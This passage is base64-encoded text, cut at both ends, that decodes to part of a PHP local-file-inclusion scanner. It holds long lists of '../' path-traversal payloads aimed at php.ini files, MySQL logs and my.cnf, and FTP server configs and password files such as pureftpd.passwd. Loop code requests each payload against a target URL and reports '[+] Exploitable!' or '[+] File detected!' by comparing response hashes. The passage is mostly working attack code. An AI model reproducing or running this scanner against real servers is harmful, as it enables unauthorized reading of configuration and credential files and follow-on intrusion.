CA4ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi91c3IvbG9jYWwvcGhwL2xpYi9waHAuaW5pIi4kYnl0ZTEuIiIsCiAgICAgICAgICAgICAgICA5ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi91c3IvbG9jYWwvcGhwNC9saWIvcGhwLmluaSIuJGJ5dGUxLiIiLAogICAgICAgICAgICAgICAgMTAgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Vzci9sb2NhbC9waHA1L2xpYi9waHAuaW5pIi4kYnl0ZTEuIiIsCiAgICAgICAgICAgICAgICAxMSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL2xvY2FsL2FwYWNoZS9jb25mL3BocC5pbmkiLiRieXRlMS4iIiwKICAgICAgICAgICAgICAgIDEyID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9ldGMvcGhwNC40L2ZjZ2kvcGhwLmluaSIuJGJ5dGUxLiIiLAogICAgICAgICAgICAgICAgMTMgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2V0Yy9waHA0L2FwYWNoZS9waHAuaW5pIi4kYnl0ZTEuIiIsCiAgICAgICAgICAgICAgICAxNCA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3BocDQvYXBhY2hlMi9waHAuaW5pIi4kYnl0ZTEuIiIsCiAgICAgICAgICAgICAgICAxNSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3BocDUvYXBhY2hlL3BocC5pbmkiLiRieXRlMS4iIiwKICAgICAgICAgICAgICAgIDE2ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9ldGMvcGhwNS9hcGFjaGUyL3BocC5pbmkiLiRieXRlMS4iIiwKICAgICAgICAgICAgICAgIDE3ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9ldGMvcGhwL3BocC5pbmkiLiRieXRlMS4iIiwKICAgICAgICAgICAgICAgIDE4ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9ldGMvcGhwL3BocDQvcGhwLmluaSIuJGJ5dGUxLiIiLAogICAgICAgICAgICAgICAgMTkgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2V0Yy9waHAvYXBhY2hlL3BocC5pbmkiLiRieXRlMS4iIiwKICAgICAgICAgICAgICAgIDIwID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9ldGMvcGhwL2FwYWNoZTIvcGhwLmluaSIuJGJ5dGUxLiIiLAogICAgICAgICAgICAgICAgMjEgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3dlYi9jb25mL3BocC5pbmkiLiRieXRlMS4iIiwKICAgICAgICAgICAgICAgIDIyID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi91c3IvbG9jYWwvWmVuZC9ldGMvcGhwLmluaSIuJGJ5dGUxLiIiLAogICAgICAgICAgICAgICAgMjMgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL29wdC94YW1wcC9ldGMvcGhwLmluaSIuJGJ5dGUxLiIiLAogICAgICAgICAgICAgICAgMjQgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Zhci9sb2NhbC93d3cvY29uZi9waHAuaW5pIi4kYnl0ZTEuIiIsCiAgICAgICAgICAgICAgICAyNSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3BocC9jZ2kvcGhwLmluaSIuJGJ5dGUxLiIiLAogICAgICAgICAgICAgICAgMjYgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2V0Yy9waHA0L2NnaS9waHAuaW5pIi4kYnl0ZTEuIiIsCiAgICAgICAgICAgICAgICAyNyA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3BocDUvY2dpL3BocC5pbmkiLiRieXRlMS4iIik7CiAgICAgICAgICAgCiAgICAgICAgICAgICAgJGxmaW15c3FsID0gYXJyYXkoCiAgICAgICAgICAgICAgICAxID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92YXIvbG9nL215c3FsL215c3FsLWJpbi5sb2ciLiRieXRlMS4iIiwKICAgICAgICAgICAgICAgIDIgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Zhci9sb2cvbXlzcWwubG9nIi4kYnl0ZTEuIiIsCiAgICAgICAgICAgICAgICAzID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92YXIvbG9nL215c3FsZGVycm9yLmxvZyIuJGJ5dGUxLiIiLAogICAgICAgICAgICAgICAgNCA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdmFyL2xvZy9teXNxbC9teXNxbC5sb2ciLiRieXRlMS4iIiwKICAgICAgICAgICAgICAgIDUgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Zhci9sb2cvbXlzcWwvbXlzcWwtc2xvdy5sb2ciLiRieXRlMS4iIiwKICAgICAgICAgICAgICAgIDYgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Zhci9teXNxbC5sb2ciLiRieXRlMS4iIiwKICAgICAgICAgICAgICAgIDcgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Zhci9saWIvbXlzcWwvbXkuY25mIi4kYnl0ZTEuIiIsCiAgICAgICAgICAgICAgICA4ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9ldGMvbXlzcWwvbXkuY25mIi4kYnl0ZTEuIiIsCiAgICAgICAgICAgICAgICA5ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92YXIvbG9nL215c3FsZC5sb2ciLiRieXRlMS4iIiwKICAgICAgICAgICAgICAgIDEwID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9ldGMvbXkuY25mIi4kYnl0ZTEuIiIpOwogICAgICAgICAgIAogICAgICAgICAgICAgICRsZmlmdHAgPSBhcnJheSgKICAgICAgICAgICAgICAgIDEgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2V0Yy9sb2dyb3RhdGUuZC9wcm9mdHBkIi4kYnl0ZTEuIiIsCiAgICAgICAgICAgICAgICAyID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi93d3cvbG9ncy9wcm9mdHBkLnN5c3RlbS5sb2ciLiRieXRlMS4iIiwKICAgICAgICAgICAgICAgIDMgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Zhci9sb2cvcHJvZnRwZCIuJGJ5dGUxLiIiLAogICAgICAgICAgICAgICAgNCA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Byb2Z0cC5jb25mIi4kYnl0ZTEuIiIsCiAgICAgICAgICAgICAgICA1ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9ldGMvcHJvdHBkL3Byb2Z0cGQuY29uZiIuJGJ5dGUxLiIiLAogICAgICAgICAgICAgICAgNiA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3ZoY3MyL3Byb2Z0cGQvcHJvZnRwZC5jb25mIi4kYnl0ZTEuIiIsCiAgICAgICAgICAgICAgICA3ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9ldGMvcHJvZnRwZC9tb2R1bGVzLmNvbmYiLiRieXRlMS4iIiwKICAgICAgICAgICAgICAgIDggPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Zhci9sb2cvdnNmdHBkLmxvZyIuJGJ5dGUxLiIiLAogICAgICAgICAgICAgICAgOSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3ZzZnRwZC5jaHJvb3RfbGlzdCIuJGJ5dGUxLiIiLAogICAgICAgICAgICAgICAgMTAgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2V0Yy9sb2dyb3RhdGUuZC92c2Z0cGQubG9nIi4kYnl0ZTEuIiIsCiAgICAgICAgICAgICAgICAxMSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3ZzZnRwZC92c2Z0cGQuY29uZiIuJGJ5dGUxLiIiLAogICAgICAgICAgICAgICAgMTIgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2V0Yy92c2Z0cGQuY29uZiIuJGJ5dGUxLiIiLAogICAgICAgICAgICAgICAgMTMgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2V0Yy9jaHJvb3RVc2VycyIuJGJ5dGUxLiIiLAogICAgICAgICAgICAgICAgMTQgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Zhci9sb2cveGZlcmxvZyIuJGJ5dGUxLiIiLAogICAgICAgICAgICAgICAgMTUgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Zhci9hZG0vbG9nL3hmZXJsb2ciLiRieXRlMS4iIiwKICAgICAgICAgICAgICAgIDE2ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9ldGMvd3UtZnRwZC9mdHBhY2Nlc3MiLiRieXRlMS4iIiwKICAgICAgICAgICAgICAgIDE3ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9ldGMvd3UtZnRwZC9mdHBob3N0cyIuJGJ5dGUxLiIiLAogICAgICAgICAgICAgICAgMTggPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2V0Yy93dS1mdHBkL2Z0cHVzZXJzIi4kYnl0ZTEuIiIsCiAgICAgICAgICAgICAgICAxOSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL3NiaW4vcHVyZS1jb25maWcucGwiLiRieXRlMS4iIiwKICAgICAgICAgICAgICAgIDIwID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi91c3IvZXRjL3B1cmUtZnRwZC5jb25mIi4kYnl0ZTEuIiIsCiAgICAgICAgICAgICAgICAyMSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3B1cmUtZnRwZC9wdXJlLWZ0cGQuY29uZiIuJGJ5dGUxLiIiLAogICAgICAgICAgICAgICAgMjIgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Vzci9sb2NhbC9ldGMvcHVyZS1mdHBkLmNvbmYiLiRieXRlMS4iIiwKICAgICAgICAgICAgICAgIDIzID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi91c3IvbG9jYWwvZXRjL3B1cmVmdHBkLnBkYiIuJGJ5dGUxLiIiLAogICAgICAgICAgICAgICAgMjQgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Vzci9sb2NhbC9wdXJlZnRwZC9ldGMvcHVyZWZ0cGQucGRiIi4kYnl0ZTEuIiIsCiAgICAgICAgICAgICAgICAyNSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL2xvY2FsL3B1cmVmdHBkL3NiaW4vcHVyZS1jb25maWcucGwiLiRieXRlMS4iIiwKICAgICAgICAgICAgICAgIDI2ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi91c3IvbG9jYWwvcHVyZWZ0cGQvZXRjL3B1cmUtZnRwZC5jb25mIi4kYnl0ZTEuIiIsCiAgICAgICAgICAgICAgICAyNyA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3B1cmUtZnRwZC5jb25mIi4kYnl0ZTEuIiIsCiAgICAgICAgICAgICAgICAyOCA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3B1cmUtZnRwZC9wdXJlLWZ0cGQucGRiIi4kYnl0ZTEuIiIsCiAgICAgICAgICAgICAgICAyOSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3B1cmVmdHBkLnBkYiIuJGJ5dGUxLiIiLAogICAgICAgICAgICAgICAgMzAgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2V0Yy9wdXJlZnRwZC5wYXNzd2QiLiRieXRlMS4iIiwKICAgICAgICAgICAgICAgIDMxID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9ldGMvcHVyZS1mdHBkL3B1cmVmdHBkLnBkYiIuJGJ5dGUxLiIiLAogICAgICAgICAgICAgICAgMzIgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Vzci9wb3J0cy9mdHAvcHVyZS1mdHBkLyIuJGJ5dGUxLiIiLAogICAgICAgICAgICAgICAgMzMgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Vzci9wb3J0cy9uZXQvcHVyZS1mdHBkLyIuJGJ5dGUxLiIiLAogICAgICAgICAgICAgICAgMzQgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Vzci9wa2dzcmMvbmV0L3B1cmVmdHBkLyIuJGJ5dGUxLiIiLAogICAgICAgICAgICAgICAgMzUgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Vzci9wb3J0cy9jb250cmliL3B1cmUtZnRwZC8iLiRieXRlMS4iIiwKICAgICAgICAgICAgICAgIDM2ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92YXIvbG9nL3B1cmUtZnRwZC9wdXJlLWZ0cGQubG9nIi4kYnl0ZTEuIiIsCiAgICAgICAgICAgICAgICAzNyA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vbG9ncy9wdXJlLWZ0cGQubG9nIi4kYnl0ZTEuIiIsCiAgICAgICAgICAgICAgICAzOCA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdmFyL2xvZy9wdXJlZnRwZC5sb2ciLiRieXRlMS4iIiwKICAgICAgICAgICAgICAgIDM5ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92YXIvbG9nL2Z0cC1wcm94eS9mdHAtcHJveHkubG9nIi4kYnl0ZTEuIiIsCiAgICAgICAgICAgICAgICA0MCA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdmFyL2xvZy9mdHAtcHJveHkiLiRieXRlMS4iIiwKICAgICAgICAgICAgICAgIDQxID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92YXIvbG9nL2Z0cGxvZyIuJGJ5dGUxLiIiLAogICAgICAgICAgICAgICAgNDIgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2V0Yy9sb2dyb3RhdGUuZC9mdHAiLiRieXRlMS4iIiwKICAgICAgICAgICAgICAgIDQzID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9ldGMvZnRwY2hyb290Ii4kYnl0ZTEuIiIsCiAgICAgICAgICAgICAgICA0NCA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL2Z0cGhvc3RzIi4kYnl0ZTEuIiIpOwogICAgICAgICAgIAogICAgIAogICAgICAgICAgICAgJHggPSAxOwogICAgICAgICAgICAgaWYgKCAkdHlwZSA9PSAxICkgewogICAgICAgICAgICAgICAgJHJlczEgPSBGZXRjaFVSTCgkdGFyZ2V0LiRsZml0ZXN0KTsKICAgICAgICAgICAgICAgICRyZXMyID0gRmV0Y2hVUkwoJHRhcmdldC4kbGZpdGVzdDIpOwogICAgICAgICAgICAgICAgJHJoYXNoMSA9IG1kNSgkcmVzMSk7CiAgICAgICAgICAgICAgICAkcmhhc2gyID0gbWQ1KCRyZXMyKTsKICAgICAgICAgICAgICAgIGlmICgkcmhhc2gxICE9ICRyaGFzaDIpIHsKICAgICAgICAgICAgICAgICAgICBwcmludCAiPGZvbnQgY29sb3I9J2dyZWVuJz5bK10gRXhwbG9pdGFibGUhPC9mb250PiA8YSBocmVmPVwiIi4kdGFyZ2V0LiIiLiRsZml0ZXN0LiJcIj4iLiR0YXJnZXQuIiIuJGxmaXRlc3QuIjwvYT48YnIgIC8+IjsKICAgICAgICAgICAgICAgIHdoaWxlKCRsZmlhY2Nlc3NbJHhdKSB7CiAgICAgICAgICAgICAgICAgICAgJHJlczMgPSBGZXRjaFVSTCgkdGFyZ2V0LiRsZmlhY2Nlc3NbJHhdKTsKICAgICAgICAgICAgICAgICAgICAkcmhhc2gzID0gbWQ1KCRyZXMzKTsKICAgICAgICAgICAgICAgICAgICBpZiAoJHJoYXNoMyAhPSAkcmhhc2gyKSB7CiAgICAgICAgICAgICAgICAgICAgcHJpbnQgIjxmb250IGNvbG9yPSdncmVlbic+WytdIEZpbGUgZGV0ZWN0ZWQhPC9mb250PiA8YSBocmVmPVwiIi4kdGFyZ2V0LiIiLiRsZmlhY2Nlc3NbJHhdLiJcIj4iLiR0YXJnZXQuIiIuJGxmaWFjY2Vzc1skeF0uIjwvYT48YnIgIC8+IjsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgZWxzZSB7ICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwcmludCAiPGZvbnQgY29sb3I9J3JlZCc+WyFdIEZhaWxlZCE8L2ZvbnQ+Ii4kdGFyZ2V0LiIiLiRsZmlhY2Nlc3NbJHhdLiI8YnIgIC8+IjsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgJHgrKzsKICAgICAgICAgIH0KICAgICAgICAgIH0KICAgICAgICAgICAgIH0KICAgICAgICAgICAgIGlmICggJHR5cGUgPT0gMiApIHsKICAgICAgICAgICAgICAgICRyZXMxID0gRmV0Y2hVUkwoJHRhcmdldC4kbGZpdGVzdCk7CiAgICAgICAgICAgICAgICAkcmVzMiA9IEZldGNoVVJMKCR0YXJnZXQuJGxmaXRlc3QyKTsKICAgICAgICAgICAgICAgICRyaGFzaDEgPSBtZDUoJHJlczEpOwogICAgICAgICAgICAgICAgJHJoYXNoMiA9IG1kNSgkcmVzMik7CiAgICAgICAgICAgICAgICBpZiAoJHJoYXNoMSAhPSAkcmhhc2gyKSB7CiAgICAgICAgICAgICAgICAgICAgcHJpbnQgIjxmb250IGNvbG9yPSdncmVlbic+WytdIEV4cGxvaXRhYmxlITwvZm9udD4gPGEgaHJlZj1cIiIuJHRhcmdldC4iIi4kbGZpdGVzdC4iXCI+Ii4kdGFyZ2V0LiIiLiRsZml0ZXN0LiI8L2E+PGJyICAvPiI7CiAgICAgICAgICAgICAgICB3aGlsZSgkbGZpY29uZmlnWyR4XSkgewogICAgICAgICAgICAgICAgICAgICRyZXMzID0gRmV0Y2hVUkwoJHRhcmdldC4kbGZpY29uZmlnWyR4XSk7CiAgICAgICAgICAgICAgICAgICAgJHJoYXNoMyA9IG1kNSgkcmVzMyk7CiAgICAgICAgICAgICAgICAgICAgaWYgKCRyaGFzaDMgIT0gJHJoYXNoMikgewogICAgICAgICAgICAgICAgICAgIHByaW50ICI8Zm9udCBjb2xvcj0nZ3JlZW4nPlsrXSBGaWxlIGRldGVjdGVkITwvZm9udD4gPGEgaHJlZj1cIiIuJHRhcmdldC4iIi4kbGZpY29uZmlnWyR4XS4iXCI+Ii4kdGFyZ2V0LiIiLiRsZmljb25maWdbJHhdLiI8L2E+PGJyICAvPiI7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIGVsc2UgeyAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcHJpbnQgIjxmb250IGNvbG9yPSdyZWQnPlshXSBGYWlsZWQhPC9mb250PiIuJHRhcmdldC4iIi4kbGZpY29uZmlnWyR4XS4iPGJyICAvPiI7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICR4Kys7CiAgICAgICAgICB9CiAgICAgICAgICB9CiAgICAgICAgICAgICB9CiAgICAgICAgICAgICBpZiAoICR0eXBlID09IDMgKSB7CiAgICAgICAgICAgICAgICAkcmVzMSA9IEZldGNoVVJMKCR0YXJnZXQuJGxmaXRlc3QpOwogICAgICAgICAgICAgICAgJHJlczIgPSBGZXRjaFVSTCgkdGFyZ2V0LiRsZml0ZXN0Mik7CiAgICAgICAgICAgICAgICAkcmhhc2gxID0gbWQ1KCRyZXMxKTsKICAgICAgICAgICAgICAgICRyaGFzaDIgPSBtZDUoJHJlczIpOwogICAgICAgICAgICAgICAgaWYgKCRyaGFzaDEgIT0gJHJoYXNoMikgewogICAgICAgICAgICAgICAgICAgIHByaW50ICI8Zm9udCBjb2xvcj0nZ3JlZW4nPlsrXSBFeHBsb2l0YWJsZSE8L2ZvbnQ+IDxhIGhyZWY9XCIiLiR0YXJnZXQuIiIuJGxmaXRlc3QuIlwiPiIuJHRhcmdldC4iIi4kbGZpdGVzdC4iPC9hPjxiciAgLz4iOwogICAgICAgICAgICAgICAgd2hpbGUoJGxmaWVycm9yWyR4XSkgewogICAgICAgICAgICAgICAgICAgICRyZXMzID0gRmV0Y2hVUkwoJHRhcmdldC4kbGZpZXJyb3JbJHhdKTsKICAgICAgICAgICAgICAgICAgICAkcmhhc2gzID0gbWQ1KCRyZXMzKTsKICAgICAgICAgICAgICAgICAgICBpZiAoJHJoYXNoMyAhPSAkcmhhc2gyKSB7CiAgICAgICAgICAgICAgICAgICAgcHJpbnQgIjxmb250IGNvbG9yPSdncmVlbic+WytdIEZpbGUgZGV0ZWN0ZWQhPC9mb250PiA8YSBocmVmPVwiIi4kdGFyZ2V0LiIiLiRsZmllcnJvclskeF0uIlwiPiIuJHRhcmdldC4iIi4kbGZpZXJyb3JbJHhdLiI8L2E+PGJyICAvPiI7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIGVsc2UgeyAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcHJpbnQgIjxmb250IGNvbG9yPSdyZWQnPlshXSBGYWlsZWQhPC9mb250PiIuJHRhcmdldC4iIi4kbGZpZXJyb3JbJHhdLiI8YnIgIC8+IjsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgJHgrKzsKICAgICAgICAgIH0KICAgICAgICAgIH0KICAgICAgICAgICAgIH0KICAgICAgICAgICAgIGlmICggJHR5cGUgPT0gNCApIHsKICAgICAgICAgICAgICAgICRyZXMxID0gRmV0Y2hVUkwoJHRhcmdldC4kbGZpdGVzdCk7CiAgICAgICAgICAgICAgICAkcmVzMiA9IEZldGNoVVJMKCR0YXJnZXQuJGxmaXRlc3QyKTsKICAgICAgICAgICAgICAgICRyaGFzaDEgPSBtZDUoJHJlczEpOwogICAgICAgICAgICAgICAgJHJoYXNoMiA9IG1kNSgkcmVzMik7CiAgICAgICAgICAgICAgICBpZiAoJHJoYXNoMSAhPSAkcmhhc2gyKSB7CiAgICAgICAgICAgICAgICAgICAgcHJpbnQgIjxmb250IGNvbG9yPSdncmVlbic+WytdIEV4cGxvaXRhYmxlITwvZm9udD4gPGEgaHJlZj1cIiIuJHRhcmdldC4iIi4kbGZpdGVzdC4iXCI+Ii4kdGFyZ2V0LiIiLiRsZml0ZXN0LiI8L2E+PGJyICAvPiI7CiAgICAgICAgICAgICAgICB3aGlsZSgkbGZpcGhwaW5pWyR4XSkgewogICAgICAgICAgICAgICAgICAgICRyZXMzID0gRmV0Y2hVUkwoJHRhcmdldC4kbGZpcGhwaW5pWyR4XSk7CiAgICAgICAgICAgICAgICAgICAgJHJoYXNoMyA9IG1kNSgkcmVzMyk7CiAgICAgICAgICAgICAgICAgICAgaWYgKCRyaGFzaDMgIT0gJHJoYXNoMikgewogICAgICAgICAgICAgICAgICAgIHByaW50ICI8Zm9udCBjb2xvcj0nZ3JlZW4nPlsrXSBGaWxlIGRldGVjdGVkITwvZm9udD4gPGEgaHJlZj1cIiIuJHRhcmdldC4iIi4kbGZpcGhwaW5pWyR4XS4iXCI+Ii4kdGFyZ2V0LiIiLiRsZmlwaHBpbmlbJHhdLiI8L2E+PGJyICAvPiI7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIGVsc2UgeyAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcHJpbnQgIjxmb250IGNvbG9yPSdyZWQnPlshXSBGYWlsZWQhPC9mb250PiIuJHRhcmdldC4iIi4kbGZpcGhwaW5pWyR4XS4iPGJyICAvPiI7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICR4Kys7CiAgICAgICAgICB9CiAgICAgICAgICB9CiAgICAgICAgICAgICB9CiAgICAgICAgICAgICBpZiAoICR0eXBlID09IDUgKSB7CiAgICAgICAgICAgICAgICAkcmVzMSA9IEZldGNoVVJMKCR0YXJnZXQuJGxmaXRlc3QpOwogICAgICAgICAgICAgICAgJHJlczIgPSBGZXRjaFVSTCgkdGFyZ2V0LiRsZml0ZXN0Mik7CiAgICAgICAgICAgICAgICAkcmhhc2gxID0gbWQ1KCRyZXMxKTsKICAgICAgICAgICAgICAgICRyaGFzaDIgPSBtZDUoJHJlczIpOwogICAgICAgICAgICAgICAgaWYgKCRyaGFzaDEgIT0gJHJoYXNoMikgewogICAgICAgICAgICAgICAgICAgIHByaW50ICI8Zm9udCBjb2xvcj0nZ3JlZW4nPlsrXSBFeHBsb2l0YWJsZSE8L2Zvbn